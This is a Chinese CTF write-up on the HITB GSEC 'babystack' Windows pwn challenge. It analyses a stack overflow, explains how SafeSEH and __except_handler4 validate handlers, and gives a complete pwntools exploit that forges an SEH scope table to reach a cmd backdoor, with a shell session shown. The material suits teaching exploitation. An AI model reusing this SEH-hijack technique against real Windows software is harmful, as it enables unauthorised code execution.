HITB GSEC BABYSTACK - win pwn 初探

原先只听过 win pwn 这个概念,这次尝试着做了一下,发现 Windows pwn 和 Linux pw 利用起来都差不多,差别就在于:对于 win pwn 的工具太少了。

源程序和相关文件下载:http://file.eonew.cn/ctf/pwn/win_babystack.zip

由于 windows 调试 pwn 特别麻烦,所以我写了个小程序:(https://github.com/Ex-Origin/win_server)为了方便调试,其原理和xinted的程序映射到端口的功能差不多,当远程pwntools连过来以后,就可以在本地利用xdbg或者windbg来调试了。

注意调试的时候关闭ASLR,这样会方便很多。

溢出点

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // eax
  FILE *v4; // eax
  _DWORD *v5; // ST38_4
  int v6; // [esp-C4h] [ebp-C4h]
  int v7; // [esp-C0h] [ebp-C0h]
  signed int i; // [esp-B8h] [ebp-B8h]
  char v9[128]; // [esp-A0h] [ebp-A0h]
  signed int v10; // [esp-8h] [ebp-8h]

  v10 = 0;
  v3 = (FILE *)_acrt_iob_func(1);
  setvbuf(v3, 0, 4, 0);
  v4 = (FILE *)_acrt_iob_func(0);
  setvbuf(v4, 0, 4, 0);
  puts("ouch! Do not kill me , I will tell you everything");
  printf("stack address = 0x%x\n", v9);
  printf("main address = 0x%x\n", main);
  for ( i = 0; i < 10; ++i )
  {
    puts("Do you want to know more?");
    read_n(v9, 10);
    v7 = strcmp(v9, "yes");
    if ( v7 )
      v7 = -(v7 < 0) | 1;
    if ( v7 )
    {
      v6 = strcmp(v9, "no");
      if ( v6 )
        v6 = -(v6 < 0) | 1;
      if ( !v6 )
        break;
      read_n(v9, 256);
    }
    else
    {
      puts("Where do you want to know");
      v5 = (_DWORD *)sub_401060();
      printf("Address 0x%x value is 0x%x\n", v5, *v5);
    }
  }
  v10 = -2;
  puts("I can tell you everything, but I never believe 1+1=2");
  puts("AAAA, you kill me just because I don't think 1+1=2??");
  exit(0);
}

v9长度为128,但是却可以输入256,直接导致栈溢出,但是程序出口全部都由exit堵上了。

内置了后门:

.text:0040138D                 push    offset Command  ; "cmd"
.text:00401392                 call    ds:system

从汇编信息可得:

; int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near
push    ebp
mov     ebp, esp
push    0FFFFFFFEh
push    offset stru_403688
push    offset __except_handler4
mov     eax, large fs:0
push    eax
add     esp, 0FFFFFF40h
mov     eax, ___security_cookie
xor     [ebp-8], eax
xor     eax, ebp
mov     [ebp-1Ch], eax

main安装了异常捕获机制,而且栈溢出恰好可以控制SEH

思路

劫持SEH,控制程序流到后门。

如果没有SAFESEH,我们可以直接更改handler来拿到shell,但是有了这层保护,我们则需要想办法绕过它,SAFESEH会对handler进行检查,看看是否在__safe_se_handler_table里面,如果不在就不会执行。

很显然后门地址是肯定不在其中的,那么接下来我们分析它的handler----__except_handler4

__except_handler4

代码来自:http://www.jbox.dk/sanos/source/win32/msvcrt/except.c.html

void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
    unsigned int v3; // esi@2
    unsigned int v4; // esi@3

    if ( scopeTable->GSCookieOffset != -2 )
    {
        v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
        __guard_check_icall_fptr(cookieCheckFunction);
        ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
    }
    v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
    __guard_check_icall_fptr(cookieCheckFunction);
    ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
    // 异或解密 scope table
    scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

    // sehFrame 等于 上图 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
    framePointer = (char *)(sehFrame + 16);
    scopeTable = scopeTable_1;

    // 验证 GS
    ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
    __except_validate_context_record(context);

    if ( exceptionRecord->ExceptionFlags & 0x66 )
    {
        ......
    }
    else
    {
        exceptionPointers.ExceptionRecord = exceptionRecord;
        exceptionPointers.ContextRecord = context;
        tryLevel = *(_DWORD *)(sehFrame + 12);
        *(_DWORD *)(sehFrame - 4) = &exceptionPointers;
        if ( tryLevel != -2 )
        {
            while ( 1 )
            {
                v8 = tryLevel + 2 * (tryLevel + 2);
                filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
                scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
                encloseingLevel = scopeTableRecord->EnclosingLevel;
                scopeTableRecord_1 = scopeTableRecord;
                if ( filterFunc )
                {
                    // 调用 FilterFunc
                    filterFuncRet = _EH4_CallFilterFunc(filterFunc);
                    ......
                    if ( filterFuncRet > 0 )
                    {
                        ......
                        // 调用 HandlerFunc
                        _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
                        ......
                    }
                }
                ......
                tryLevel = encloseingLevel;
                if ( encloseingLevel == -2 )
                    break;
                scopeTable_1 = scopeTable;
            }
            ......
        }
    }
  ......
}

分析代码可知,我们只要控制了scopeTablesehFrame就可利用filterFunc来控制程序流。

SEH布局如下:

来自:https://bbs.pediy.com/thread-221016.htm

                                                  Scope Table
                                              +-------------------+
                                              |  GSCookieOffset   |
                                              +-------------------+
                                              | GSCookieXorOffset |
                                              +-------------------+
                EH4 Stack                     |  EHCookieOffset   |
          +-------------------+               +-------------------+
High      |      ......       |               | EHCookieXorOffset |
          +-------------------+               +-------------------+
ebp       |        ebp        |   +----------->  EncloseingLevel  <--+-> 0xFFFFFFFE
          +-------------------+   | Level 0   +-------------------+  |
ebp - 04h |     TryLevel      +---+           |     FilterFunc    |  |
          +-------------------+   |           +-------------------+  |
ebp - 08h |    Scope Table    |   |           |    HandlerFunc    |  |
          +-------------------+   |           +-------------------+  |
ebp - 0Ch | ExceptionHandler  |   +----------->  EncloseingLevel  +--+-> 0x00000000
          +-------------------+     Level 1   +-------------------+
ebp - 10h |       Next        |               |     FilterFunc    |
          +-------------------+               +-------------------+
ebp - 14h | ExceptionPointers +----+          |    HandlerFunc    |
          +-------------------+    |          +-------------------+
ebp - 18h |        esp        |    |
          +-------------------+    |            ExceptionPointers
Low       |      ......       |    |          +-------------------+
          +-------------------+    +---------->  ExceptionRecord  |
                                              +-------------------+
                                              |   ContextRecord   |
                                              +-------------------+

首先我们要__security_cookie的值,他是在程序镜像上的,因为程序已经泄露了main地址,所以我们可以根据该地址直接计算出来,然后我们就能伪造Scope Table的地址了。

但是其还有一个ValidateLocalCookies验证,要求*(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset]的值必须为__security_cookie,通常计算可得该值的地址为stack_addr + 104,所以在溢出的时候我们只要提前设置好该值就行。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

# context.log_level = 'debug'
context.arch = 'i386'

sh = remote('192.168.3.129', 1001)

def get_value(addr):
    sh.recvuntil('Do you want to know more?')
    sh.sendline('yes')
    sh.recvuntil('Where do you want to know')
    sh.sendline(str(addr))
    sh.recvuntil('value is ')
    return int(sh.recvline(), 16)

sh.recvuntil('stack address =')
result = sh.recvline()
stack_addr = int(result, 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.recvuntil('main address =')
result = sh.recvline()
main_address = int(result, 16)
log.success('main_address: ' + hex(main_address))

security_cookie = get_value(main_address + 12116)
log.success('security_cookie: ' + hex(security_cookie))

# pause()
sh.sendline('n')
next_addr = stack_addr + 212
log.success('next_addr: ' + hex(next_addr))

SCOPETABLE = [
    0x0FFFFFFFE,
    0,
    0x0FFFFFFCC,
    0,
    0xFFFFFFFE,
    main_address + 733,
]

payload = 'a' * 16 + flat(SCOPETABLE).ljust(104 - 16, 'a') + p32((stack_addr + 156) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 944) + p32((stack_addr + 16) ^ security_cookie) + p32(0) + 'b' * 16
sh.sendline(payload)

sh.recvline()
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')

sh.interactive()

运行实例:

ex@Ex:~/test$ python exp.py 
[+] Opening connection to 192.168.3.129 on port 1001: Done
[+] stack_addr: 0x2bffa10
[+] main_address: 0xa110b0
[+] security_cookie: 0xd5813fd0
[+] next_addr: 0x2bffae4
[*] Switching to interactive mode

Microsoft Windows [Version 10.0.17763.557]
(c) 2018 Microsoft Corporation. All rights reserved.

D:\test>$ whoami
whoami
win10\ex

D:\test>$ type txt
type txt
123456 

D:\test>$ exit
exit
AAAA, you kill me just because I don't think 1+1=2??
[*] Got EOF while reading in interactive
$ 
[*] Closed connection to 192.168.3.129 port 1001
[*] Got EOF while sending in interactive

部分资料来源: